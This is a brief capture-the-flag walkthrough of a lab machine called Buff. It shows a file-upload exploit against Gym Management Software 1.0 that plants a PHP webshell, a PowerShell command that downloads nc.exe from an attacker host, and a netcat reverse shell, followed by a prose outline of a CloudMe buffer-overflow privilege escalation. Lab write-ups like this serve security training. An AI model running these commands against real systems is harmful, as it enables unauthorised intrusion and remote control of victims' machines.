Buff

Enumeration and foothold

AutoRecon identifies HTTP on port 8080 and the site discloses Gym Management Software 1.0. A public upload exploit places a PHP command shell in the web root.

python3 RCE-ex.py
http://10.10.10.198:8080/upload/test.php?cmd=whoami

Move nc.exe to the target with PowerShell and call it from the uploaded shell to receive a proper command prompt.

powershell Invoke-WebRequest -Uri http://YOURIP/nc.exe -Outfile C:\Users\Public\nc.exe
C:\Users\Public\nc.exe YOURIP 4444 -e cmd.exe

Privilege escalation

Enumeration reveals CloudMe_1112.exe and a service listening locally on port 8888. Tunnel the port with Chisel, adapt the CloudMe buffer-overflow exploit with a reverse-shell payload, and execute it through the forwarded port to obtain the Administrator shell.